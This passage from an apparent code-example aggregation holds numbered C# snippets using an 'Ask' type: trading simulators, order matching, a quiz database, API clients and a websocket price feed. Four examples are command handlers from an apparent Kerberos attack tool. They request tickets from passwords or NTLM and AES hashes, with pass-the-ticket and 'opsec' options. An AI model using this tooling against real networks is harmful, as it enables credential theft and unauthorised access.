                 var trade = new Trade(this.framework.Clock.DateTime, base.Id, marketDataRecord.Instrument.Id, price, random.Next(min3, max3));
                 EmitData(trade, true);
             }
             if (marketDataRecord.Quotes)
             {
                 double num = Math.Round(random.NextDouble() * (max - min) + min, DecimalDigits);
                 double price2 = num + Math.Round(random.NextDouble() * (max2 - min2) + min2, DecimalDigits);
                 var bid = new Bid(this.framework.Clock.DateTime, Id, marketDataRecord.Instrument.Id, num, random.Next(min3, max3));
                 var ask = new Ask(this.framework.Clock.DateTime, Id, marketDataRecord.Instrument.Id, price2, random.Next(min3, max3));
                 EmitData(bid, true);
                 EmitData(ask, true);
             }
         }
         Thread.Sleep(this.Delay);
     }
 }
Example #13
0
        /// <summary>
        /// вернуть ответы по вопросу
        /// </summary>
        /// <param name="ask">вопрос</param>
        /// <returns>ответы</returns>
        internal IEnumerable <Ans> GetAnsByAsk(Ask ask)
        {
            IEnumerable <Ans> ans = data.GetTable <Ans>().Where(x => x.IdAsk == ask.Id).OrderBy(x => x.Ind);

            return(ans);
        }
Example #14
0
        /// <summary>
        /// вернуть вопрос по номеру
        /// </summary>
        /// <param name="ordNumb">номер вопроса</param>
        /// <returns>вопрос по номеру</returns>
        internal Ask GetAskByOrd(int ordNumb)
        {
            Ask ask = data.GetTable <Ask>().FirstOrDefault(x => x.OrdNumb == ordNumb);

            return(ask);
        }
Example #15
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Ask TGS\r\n");

            string outfile = "";
            bool   ptt     = false;
            string dc      = "";
            string service = "";

            Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial;

            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }

            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }

            if (arguments.ContainsKey("/enctype"))
            {
                string encTypeString = arguments["/enctype"].ToUpper();

                if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                {
                    requestEnctype = Interop.KERB_ETYPE.rc4_hmac;
                }
                else if (encTypeString.Equals("AES128"))
                {
                    requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                {
                    requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("DES"))
                {
                    requestEnctype = Interop.KERB_ETYPE.des_cbc_md5;
                }
                else
                {
                    Console.WriteLine("Unsupported etype : {0}", encTypeString);
                    return;
                }
            }

            if (arguments.ContainsKey("/service"))
            {
                service = arguments["/service"];
            }
            else
            {
                Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
                return;
            }

            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true);
                    return;
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true);
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
                return;
            }
        }
        public bool Enqueue()
        {
            if (EventQueue.IsFull() || EndOfSeries)
            {
                return(false);
            }

            if (_current == null || !_current.HasNext && _files.Count > 0)
            {
                OpenReader();
                _lastTradeSize = 0;
            }

            // 这种每次只取一个数据方式比较慢,下一阶段可以改成一次读完一个文件
            if (_current != null && _current.HasNext)
            {
                var tick     = _current.Next();
                var dateTime = _current.Codec.GetDateTime(tick.ActionDay == 0?tick.TradingDay:tick.ActionDay).Add(_current.Codec.GetUpdateTime(tick));

                var marketData = PbTick2DepthMarketDataField(_current.Codec, tick);

                // 在这个地方式可以试着生成自己的TradeEx,这样在策略中,模拟与实盘的效果就完全一样了
                if (_info.SubscribeTrade)
                {
                    var trade = new TradeEx(dateTime, 0, _info.InstrumentId, marketData.LastPrice, (int)marketData.Volume);
                    trade.Size           -= _lastTradeSize;
                    trade.DepthMarketData = marketData;
                    EventQueue.Enqueue(trade);
                    _lastTradeSize = (int)marketData.Volume;
                }


                if (_info.SubscribeBidAsk)
                {
                    if (marketData.BidVolume1 > 0)
                    {
                        var bid = new Bid(dateTime, 0, _info.InstrumentId, marketData.BidPrice1, marketData.BidVolume1);
                        EventQueue.Write(bid);
                    }
                    if (marketData.AskVolume1 > 0)
                    {
                        var ask = new Ask(dateTime, 0, _info.InstrumentId, marketData.AskPrice1, marketData.AskVolume1);
                        EventQueue.Write(ask);
                    }
                }

                _completed += _current.Setp;
                if (_completed >= _progressCount)
                {
                    _progressCount += _progressDelta;
                    _progressPercent++;
                    EventQueue.Enqueue(new OnSimulatorProgress(_progressCount, _progressPercent));
                }
                return(true);
            }
            else
            {
                EndOfSeries = true;
                return(false);
            }
        }
Example #17
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Ask TGS\r\n");

            string outfile    = "";
            bool   ptt        = false;
            string dc         = "";
            string service    = "";
            bool   enterprise = false;
            bool   opsec      = false;

            Interop.KERB_ETYPE requestEnctype = Interop.KERB_ETYPE.subkey_keymaterial;
            KRB_CRED           tgs            = null;
            string             targetDomain   = "";
            string             servicekey     = "";
            string             asrepkey       = "";
            bool   u2u        = false;
            string targetUser = "";
            bool   printargs  = false;

            string proxyUrl = null;

            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }

            if (arguments.ContainsKey("/enterprise"))
            {
                enterprise = true;
            }

            if (arguments.ContainsKey("/opsec"))
            {
                opsec = true;
            }

            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }

            if (arguments.ContainsKey("/enctype"))
            {
                string encTypeString = arguments["/enctype"].ToUpper();

                if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                {
                    requestEnctype = Interop.KERB_ETYPE.rc4_hmac;
                }
                else if (encTypeString.Equals("AES128"))
                {
                    requestEnctype = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                {
                    requestEnctype = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("DES"))
                {
                    requestEnctype = Interop.KERB_ETYPE.des_cbc_md5;
                }
                else
                {
                    Console.WriteLine("Unsupported etype : {0}", encTypeString);
                    return;
                }
            }

            // for U2U requests
            if (arguments.ContainsKey("/u2u"))
            {
                u2u = true;
            }

            if (arguments.ContainsKey("/service"))
            {
                service = arguments["/service"];
            }
            else if (!u2u)
            {
                Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
                return;
            }

            if (arguments.ContainsKey("/servicekey"))
            {
                servicekey = arguments["/servicekey"];
            }

            if (u2u || !String.IsNullOrEmpty(servicekey))
            {
                // print command arguments for forging tickets
                if (arguments.ContainsKey("/printargs"))
                {
                    printargs = true;
                }
            }


            if (arguments.ContainsKey("/asrepkey"))
            {
                asrepkey = arguments["/asrepkey"];
            }

            if (arguments.ContainsKey("/tgs"))
            {
                string kirbi64 = arguments["/tgs"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
                    tgs = new KRB_CRED(kirbiBytes);
                }
                else if (File.Exists(kirbi64))
                {
                    byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
                    tgs = new KRB_CRED(kirbiBytes);
                }
                else
                {
                    Console.WriteLine("\r\n[X] /tgs:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                    return;
                }
            }

            // for manually specifying domain in requests
            if (arguments.ContainsKey("/targetdomain"))
            {
                targetDomain = arguments["/targetdomain"];
            }

            // for adding a PA-for-User PA data section
            if (arguments.ContainsKey("/targetuser"))
            {
                targetUser = arguments["/targetuser"];
            }

            // for using a KDC proxy
            if (arguments.ContainsKey("/proxyurl"))
            {
                proxyUrl = arguments["/proxyurl"];
            }

            if (arguments.ContainsKey("/ticket"))
            {
                string kirbi64 = arguments["/ticket"];

                if (Helpers.IsBase64String(kirbi64))
                {
                    byte[]   kirbiBytes = Convert.FromBase64String(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl);
                    return;
                }
                else if (File.Exists(kirbi64))
                {
                    byte[]   kirbiBytes = File.ReadAllBytes(kirbi64);
                    KRB_CRED kirbi      = new KRB_CRED(kirbiBytes);
                    Ask.TGS(kirbi, service, requestEnctype, outfile, ptt, dc, true, enterprise, false, opsec, tgs, targetDomain, servicekey, asrepkey, u2u, targetUser, printargs, proxyUrl);
                    return;
                }
                else
                {
                    Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
                }
                return;
            }
            else
            {
                Console.WriteLine("\r\n[X] A /ticket:X needs to be supplied!\r\n");
                return;
            }
        }
Example #18
0
        public void Execute(Dictionary <string, string> arguments)
        {
            Console.WriteLine("[*] Action: Ask TGT\r\n");

            string user        = "";
            string domain      = "";
            string password    = "";
            string hash        = "";
            string dc          = "";
            string outfile     = "";
            string certificate = "";
            string servicekey  = "";

            bool ptt            = false;
            bool opsec          = false;
            bool force          = false;
            bool verifyCerts    = false;
            bool getCredentials = false;
            bool pac            = true;
            LUID luid           = new LUID();

            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;

            if (arguments.ContainsKey("/user"))
            {
                string[] parts = arguments["/user"].Split('\\');
                if (parts.Length == 2)
                {
                    domain = parts[0];
                    user   = parts[1];
                }
                else
                {
                    user = arguments["/user"];
                }
            }
            if (arguments.ContainsKey("/domain"))
            {
                domain = arguments["/domain"];
            }
            if (arguments.ContainsKey("/dc"))
            {
                dc = arguments["/dc"];
            }
            if (arguments.ContainsKey("/outfile"))
            {
                outfile = arguments["/outfile"];
            }

            encType = Interop.KERB_ETYPE.rc4_hmac; //default is non /enctype is specified
            if (arguments.ContainsKey("/enctype"))
            {
                string encTypeString = arguments["/enctype"].ToUpper();

                if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
                {
                    encType = Interop.KERB_ETYPE.rc4_hmac;
                }
                else if (encTypeString.Equals("AES128"))
                {
                    encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
                {
                    encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
                }
                else if (encTypeString.Equals("DES"))
                {
                    encType = Interop.KERB_ETYPE.des_cbc_md5;
                }
            }

            if (arguments.ContainsKey("/password"))
            {
                password = arguments["/password"];

                string salt = String.Format("{0}{1}", domain.ToUpper(), user);

                // special case for computer account salts
                if (user.EndsWith("$"))
                {
                    salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), user.TrimEnd('$').ToLower(), domain.ToLower());
                }

                // special case for samaccountname spoofing to support Kerberos AES Encryption
                if (arguments.ContainsKey("/oldsam"))
                {
                    salt = String.Format("{0}host{1}.{2}", domain.ToUpper(), arguments["/oldsam"].TrimEnd('$').ToLower(), domain.ToLower());
                }

                hash = Crypto.KerberosPasswordHash(encType, password, salt);
            }

            else if (arguments.ContainsKey("/des"))
            {
                hash    = arguments["/des"];
                encType = Interop.KERB_ETYPE.des_cbc_md5;
            }
            else if (arguments.ContainsKey("/rc4"))
            {
                hash    = arguments["/rc4"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/ntlm"))
            {
                hash    = arguments["/ntlm"];
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.ContainsKey("/aes128"))
            {
                hash    = arguments["/aes128"];
                encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
            }
            else if (arguments.ContainsKey("/aes256"))
            {
                hash    = arguments["/aes256"];
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }

            if (arguments.ContainsKey("/certificate"))
            {
                certificate = arguments["/certificate"];

                if (arguments.ContainsKey("/verifychain") || arguments.ContainsKey("/verifycerts"))
                {
                    Console.WriteLine("[*] Verifying the entire certificate chain!\r\n");
                    verifyCerts = true;
                }
                if (arguments.ContainsKey("/getcredentials"))
                {
                    getCredentials = true;
                }
            }

            if (arguments.ContainsKey("/servicekey"))
            {
                servicekey = arguments["/servicekey"];
            }

            if (arguments.ContainsKey("/ptt"))
            {
                ptt = true;
            }

            if (arguments.ContainsKey("/opsec"))
            {
                opsec = true;
                if (arguments.ContainsKey("/force"))
                {
                    force = true;
                }
            }

            if (arguments.ContainsKey("/nopac"))
            {
                pac = false;
            }

            if (arguments.ContainsKey("/luid"))
            {
                try
                {
                    luid = new LUID(arguments["/luid"]);
                }
                catch
                {
                    Console.WriteLine("[X] Invalid LUID format ({0})\r\n", arguments["/luid"]);
                    return;
                }
            }

            if (arguments.ContainsKey("/createnetonly"))
            {
                // if we're starting a hidden process to apply the ticket to
                if (!Helpers.IsHighIntegrity())
                {
                    Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
                    return;
                }
                if (arguments.ContainsKey("/show"))
                {
                    luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], true);
                }
                else
                {
                    luid = Helpers.CreateProcessNetOnly(arguments["/createnetonly"], false);
                }
                Console.WriteLine();
            }

            if (String.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (String.IsNullOrEmpty(domain))
            {
                domain = System.DirectoryServices.ActiveDirectory.Domain.GetCurrentDomain().Name;
            }
            if (String.IsNullOrEmpty(hash) && String.IsNullOrEmpty(certificate))
            {
                Console.WriteLine("\r\n[X] You must supply a /password, /certificate or a [/des|/rc4|/aes128|/aes256] hash!\r\n");
                return;
            }

            bool changepw = arguments.ContainsKey("/changepw");

            if (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
            {
                Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
                return;
            }
            else
            {
                if ((opsec) && (encType != Interop.KERB_ETYPE.aes256_cts_hmac_sha1) && !(force))
                {
                    Console.WriteLine("[X] Using /opsec but not using /enctype:aes256, to force this behaviour use /force");
                    return;
                }
                if (String.IsNullOrEmpty(certificate))
                {
                    Ask.TGT(user, domain, hash, encType, outfile, ptt, dc, luid, true, opsec, servicekey, changepw, pac);
                }
                else
                {
                    Ask.TGT(user, domain, certificate, password, encType, outfile, ptt, dc, luid, true, verifyCerts, servicekey, getCredentials);
                }

                return;
            }
        }
Example #19
0
        public void Execute(Dictionary <string, string> arguments)
        {
            string user = "";
            uint   luid = 0;

            string domain;
            string userValue;

            if (arguments.TryGetValue("/user", out userValue))
            {
                string[] parts = userValue.Split('\\');
                switch (parts.Length)
                {
                case 1:
                    user = userValue;
                    break;

                case 2:
                    domain = parts[0];
                    user   = parts[1];
                    break;

                default:
                    Console.WriteLine("\r\n[X] Invalid user value syntax.\r\n");
                    return;
                }
            }
            // TODO : Clarify in source code for overlap with composite user name.
            if (!arguments.TryGetValue("/domain", out domain))
            {
                domain = string.Empty;
            }
            string dc;

            if (!arguments.TryGetValue("/dc", out dc))
            {
                dc = string.Empty;
            }
            Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
            string             hash;

            if (arguments.TryGetValue("/rc4", out hash))
            {
                encType = Interop.KERB_ETYPE.rc4_hmac;
            }
            else if (arguments.TryGetValue("/aes256", out hash))
            {
                encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
            }
            if (string.IsNullOrEmpty(hash))
            {
                Console.WriteLine("\r\n[X] You must supply a /rc4 or /aes256 hash!\r\n");
                return;
            }

            bool   ptt = arguments.ContainsKey("/ptt");
            string luidValue;

            if (arguments.TryGetValue("/luid", out luidValue))
            {
                try {
                    luid = uint.Parse(luidValue);
                }
                catch {
                    try {
                        luid = Convert.ToUInt32(luidValue, 16);
                    }
                    catch {
                        Console.WriteLine("[X] Invalid LUID format ({0})\r\n", luidValue);
                        return;
                    }
                }
            }

            string createnetonlyValue;

            if (arguments.TryGetValue("/createnetonly", out createnetonlyValue))
            {
                // if we're starting a hidden process to apply the ticket to
                if (!Helpers.IsHighIntegrity())
                {
                    Console.WriteLine("[X] You need to be in high integrity to apply a ticket to created logon session");
                    return;
                }
                luid = LSA.CreateProcessNetOnly(createnetonlyValue, arguments.ContainsKey("/show"));
                Console.WriteLine();
            }
            if (string.IsNullOrEmpty(user))
            {
                Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
                return;
            }
            if (string.IsNullOrEmpty(domain))
            {
                domain = IPGlobalProperties.GetIPGlobalProperties().DomainName;
            }
            if (!((encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1)))
            {
                Console.WriteLine("\r\n[X] Only /rc4 and /aes256 are supported at this time.\r\n");
                return;
            }
            Ask.TGT(user, domain, hash, encType, ptt, dc, luid);
            return;
        }
Example #20
0
 public IEnumerable <Order> ExecuteAsk(Ask ask)
 {
     ask.StartBuyQuantity  = ask.BuyQuantity;
     ask.StartSellQuantity = ask.StartSellQuantity;
     return(ExecuteAsk(new ThreadSafeAsk(ask), ask.MaxLegDepth));
 }
Example #21
0
 public Task PostAsk(Ask ask)
 {
     return(AskQueue.SendAsync(new Message(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(ask)))));
 }
Example #22
0
 protected override void OnAsk(Instrument instrument, Ask ask)
 {
     handleEvent(instrument, ask);
 }
        public void LoadTest()
        {
            try
            {
                CommodityRepository commodityRepository  = new CommodityRepository();
                var                     commodities      = commodityRepository.GetCommodityPrices().ToArray();
                UserRepository          userRepository   = new UserRepository();
                var                     users            = userRepository.GetUsers().ToArray();
                CancellationTokenSource cancelationToken = new CancellationTokenSource();
                List <Task>             tasks            = new List <Task>();
                double[]                adjustments      = new double[] { 0.8, 0.85, 0.85, 0.9, 0.9, 0.91, 0.91, 0.91, 0.92, 0.92, 0.92, 0.92, 0.93, 0.93, 0.93, 0.93, 0.93, 0.94, 0.94, 0.94, 0.94, 0.94,
                                                                          0.95, 0.95, 0.95, 0.95, 0.95, 0.95, 0.95, 0.96, 0.96, 0.96, 0.96, 0.96, 0.96, 0.96, 0.96, 0.96, 0.97, 0.97, 0.97, 0.97, 0.97, 0.97, 0.97, 0.97, 0.97,
                                                                          0.98, 0.98, 0.98, 0.98, 0.98, 0.98, 0.98, 0.98, 0.98, 0.98, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99, 0.99,
                                                                          1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
                                                                          1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.01, 1.02, 1.02, 1.02, 1.02, 1.02, 1.02, 1.02,
                                                                          1.03, 1.03, 1.03, 1.03, 1.03, 1.03, 1.04, 1.04, 1.04, 1.04, 1.04, 1.04, 1.04, 1.04, 1.04, 1.05, 1.05, 1.05, 1.05, 1.05, 1.05, 1.05, 1.05, 1.05,
                                                                          1.06, 1.06, 1.06, 1.06, 1.06, 1.07, 1.07, 1.07, 1.07, 1.07, 1.08, 1.08, 1.08, 1.08, 1.08, 1.08, 1.08, 1.09, 1.09, 1.09, 1.09, 1.1, 1.1, 1.1, 1.15, 1.15, 1.2 };
                int i = 0;
                while (i < Workers)
                {
                    Task t = Task.Factory.StartNew(() =>
                    {
                        while (!cancelationToken.IsCancellationRequested)
                        {
                            Stopwatch watch            = new Stopwatch();
                            Ask ask                    = new Ask();
                            IEnumerable <Order> orders = null;
                            bool error                 = false;
                            try
                            {
                                Random rand = new Random((int)DateTime.Now.Ticks);

                                int buyCommodityIndex  = rand.Next(0, commodities.Length - 1);
                                int sellCommodityIndex = rand.Next(0, commodities.Length - 1);
                                while (buyCommodityIndex == sellCommodityIndex)
                                {
                                    sellCommodityIndex = rand.Next(0, commodities.Length - 1);
                                }

                                var buyCommodity  = commodities[buyCommodityIndex];
                                var sellCommodity = commodities[sellCommodityIndex];
                                double buyRatio   = sellCommodity.PriceInGold / buyCommodity.PriceInGold;


                                ask.AskDate = DateTime.UtcNow;
                                ask.ApplyCommissionToBuy = buyRatio < 0;
                                ask.BuyRatio             = (sellCommodity.PriceInGold * adjustments[rand.Next(0, adjustments.Length - 1)]).ToFlooredInt();
                                ask.SellRatio            = (buyCommodity.PriceInGold * adjustments[rand.Next(0, adjustments.Length - 1)]).ToFlooredInt();
                                ask.CommodityBuyID       = buyCommodity.CommodityID;
                                ask.CommoditySellID      = sellCommodity.CommodityID;
                                ask.AllowPartialFill     = rand.Next(0, 100) >= 30;
                                ask.BuyQuantity          = rand.Next(5000, 1500000);
                                ask.UserID      = users[rand.Next(0, users.Length - 1)].UserID;
                                ask.MaxLegDepth = 4;
                                watch.Start();
                                orders = OrderProcessor.Singleton.ExecuteAsk(ask);
                                watch.Stop();
                            }
                            catch (Exception ex)
                            {
                                TestContext.WriteLine(ex.ToString());
                                error = true;
                            }
                            TestContext.WriteLine(string.Format("Elapsed: {0}, AskID: {1}, OrderIDs: {2}", watch.ElapsedMilliseconds, ask.AskID, orders != null ? orders.Select(o => o.OrderID.ToString()).Aggregate((result, next) => result + "," + next) : "No Order"));
                            if (error)
                            {
                                break;
                            }
                        }
                    }, cancelationToken.Token);
                    tasks.Add(t);
                    i++;
                }
                Task.Delay(60000).Wait();
                cancelationToken.Cancel(false);
                Task.WaitAll(tasks.ToArray());
            }
            catch (Exception)
            {
                throw;
            }
        }
Example #24
0
        public void Save(Ask ask)
        {
            ask.DateCreated = DateTime.UtcNow;

            _list.Add(ask);
        }
Example #25
0
        /// <summary>
        /// Attempts to process the request.
        /// </summary>
        /// <typeparam name="T">The expected APIResult to get from this request.</typeparam>
        /// <param name="client">The client to use to process this request.</param>
        /// <returns>True if the request was successful, otherwise false.</returns>
        protected async Task <T> ProcessRequestAsync <T>(HttpClient client, bool multi = false) where T : APIResult
        {
            var result = Activator.CreateInstance <T>();

            try
            {
                // Parse the json directly into the APIResult
                var json = await ProcessRequestJsonAsync(client);

                try
                {
                    // Success responses and AuthToken responses don't contain "asks"
                    if (json.StartsWithICIW("{\"success\":") || typeof(T) == typeof(AuthToken))
                    {
                        result = JsonConvert.DeserializeObject <T>(json);
                    }
                    else
                    {
                        result = JsonConvert.DeserializeObject <Dictionary <string, T> >(json)[Ask.ToString().ToLower()];
                    }
                }
                catch (JsonSerializationException initialException)
                {
                    // Seemingly random, we get array results from the json even when we hit a single endpoint... so let's attempt to parse it that way
                    try
                    {
                        result = JsonConvert.DeserializeObject <Dictionary <string, T[]> >(json)[Ask.ToString().ToLower()].First();
                    }
                    catch (JsonSerializationException)
                    {
                        // Throw the initial exception if the multi-params didn't work
                        throw initialException;
                    }
                }

                if (!result.IsSuccess)
                {
                    throw APIException.FromMessage(result.ExceptionMessage);
                }
            }
            catch (Exception ex)
            {
                // If anything happens, flag unsuccessful and log error to the APIResult
                result.IsSuccess        = false;
                result.ExceptionMessage = ex.ToString();
            }
            return(result);
        }
Example #26
0
 public string AskAsString()
 {
     return(Ask.ToString(CultureInfo.InvariantCulture));
 }
Example #27
0
        /// <summary>
        /// Attempts to process the request with the expectation of multiple results.
        /// </summary>
        /// <typeparam name="T">The expected APIResult to get from this request.</typeparam>
        /// <param name="client">The client to use to process this request.</param>
        /// <returns>True if the request was successful, otherwise false.</returns>
        protected async Task <T[]> ProcessMultiRequestAsync <T>(HttpClient client) where T : APIResult
        {
            T[] result;
            try
            {
                // Parse the json directly into the APIResult
                var json = await ProcessRequestJsonAsync(client);

                result = JsonConvert.DeserializeObject <Dictionary <string, T[]> >(json)[Ask.ToString().ToLower()];
            }
            catch (Exception ex)
            {
                // If anything happens, flag unsuccessful and log error to the APIResult
                var exResult = Activator.CreateInstance <T>();
                exResult.IsSuccess        = false;
                exResult.ExceptionMessage = ex.ToString();
                if (ex is APIException apiEx)
                {
                    exResult.ExceptionCode = apiEx.Code;
                }
                result = new[] { exResult };
            }
            return(result);
        }
Example #28
0
 /// <summary>
 /// Processes an Ask
 /// </summary>
 /// <param name="ask">Ask</param>
 /// <param name="context">SPARQL Evaluation Context</param>
 public override BaseMultiset ProcessAsk(Ask ask, SparqlEvaluationContext context)
 {
     return(this.ExplainAndEvaluate <Ask>(ask, context, base.ProcessAsk));
 }
Example #29
0
 /// <summary>
 /// Gets the content data for the request.
 /// </summary>
 /// <returns>The FormUrlEncodedContent to pass into the request.</returns>
 protected virtual FormUrlEncodedContent GetParameters() => new FormUrlEncodedContent(new []
 {
     KeyValuePair.Create("asks", JsonConvert.SerializeObject(new Dictionary <string, Dictionary <string, object> > {
         { Ask.ToString().ToLower(), Parameters }
     }))
 });
Example #30
0
			/**
         * Constructs a new roster item.
         *
         * @param jid the JID.
         * @param name the nickname.
         * @param ask the ask state.
         * @param subscription the subscription state.
         * @param groups the item groups.
         */
			private Item(JID jid, String name, Ask ask, Subscription subscription,
			         Collection<String> groups) {
				this.jid = jid;
				this.name = name;
				this.ask = ask;
				this.subscription = subscription;
				this.groups = groups;
			}
        /// <summary>
        /// Returns true if SingleQuote instances are equal
        /// </summary>
        /// <param name="other">Instance of SingleQuote to be compared</param>
        /// <returns>Boolean</returns>
        public bool Equals(SingleQuote other)
        {
            if (ReferenceEquals(null, other))
            {
                return(false);
            }
            if (ReferenceEquals(this, other))
            {
                return(true);
            }

            return
                ((
                     Ch == other.Ch ||
                     Ch != null &&
                     Ch.Equals(other.Ch)
                     ) &&
                 (
                     Chp == other.Chp ||
                     Chp != null &&
                     Chp.Equals(other.Chp)
                 ) &&
                 (
                     Lp == other.Lp ||
                     Lp != null &&
                     Lp.Equals(other.Lp)
                 ) &&
                 (
                     Ask == other.Ask ||
                     Ask != null &&
                     Ask.Equals(other.Ask)
                 ) &&
                 (
                     Bid == other.Bid ||
                     Bid != null &&
                     Bid.Equals(other.Bid)
                 ) &&
                 (
                     OpenPrice == other.OpenPrice ||
                     OpenPrice != null &&
                     OpenPrice.Equals(other.OpenPrice)
                 ) &&
                 (
                     HighPrice == other.HighPrice ||
                     HighPrice != null &&
                     HighPrice.Equals(other.HighPrice)
                 ) &&
                 (
                     LowPrice == other.LowPrice ||
                     LowPrice != null &&
                     LowPrice.Equals(other.LowPrice)
                 ) &&
                 (
                     PrevClosePrice == other.PrevClosePrice ||
                     PrevClosePrice != null &&
                     PrevClosePrice.Equals(other.PrevClosePrice)
                 ) &&
                 (
                     Volume == other.Volume ||
                     Volume != null &&
                     Volume.Equals(other.Volume)
                 ));
        }
 public virtual void OnAsk(Ask ask)
 {
     // noop
 }
Example #33
0
        public static WebsocketClient StartHuobi(Uri huobi_url, SymbolState symObj, MarketState marketObj)
        {
            var huobiClient = new WebsocketClient(huobi_url);

            huobiClient.ReconnectTimeout = TimeSpan.FromSeconds(30);
            huobiClient.ReconnectionHappened.Subscribe(info =>
                                                       Console.WriteLine($"Reconnection happened, type: {info.Type}"));
            huobiClient
            .MessageReceived
            .ObserveOn(TaskPoolScheduler.Default)
            .Synchronize(GATE1)
            .Subscribe(msg =>
            {
                byte[] bytes     = msg.Binary;
                string huobiJson = Encoding.UTF8.GetString(DecompressHuobi(bytes));
                //Console.WriteLine(huobiJson);
                WriteResponce("Huobi Global", huobiJson);
                if (huobiJson.Contains("status"))
                {
                    HuobiJson.Init huobiData = JsonSerializer.Deserialize <HuobiJson.Init>(huobiJson);
                    if (huobiData.Status == "ok" && huobiData.Subbed == $"market.{symObj.Symbol.ToLower()}usdt.depth.step0")
                    {
                        Console.WriteLine($"huobi: {symObj.Symbol}-USDT ok!");
                    }
                }
                else if (huobiJson.Contains("tick"))
                {
                    HuobiJson.Data huobiData = JsonSerializer.Deserialize <HuobiJson.Data>(huobiJson);
                    foreach (object Ask in huobiData.Tick.Asks)
                    {
                        List <decimal> ask_vol = JsonSerializer.Deserialize <List <decimal> >(Ask.ToString());
                        if (ask_vol[1] >= marketObj.MinVolume)
                        {
                            decimal ask = ask_vol[0];
                            symObj.Ask  = ask;
                            break;
                        }
                    }
                    foreach (object Bid in huobiData.Tick.Bids)
                    {
                        List <decimal> bid_vol = JsonSerializer.Deserialize <List <decimal> >(Bid.ToString());
                        if (bid_vol[1] >= marketObj.MinVolume)
                        {
                            decimal bid = bid_vol[0];
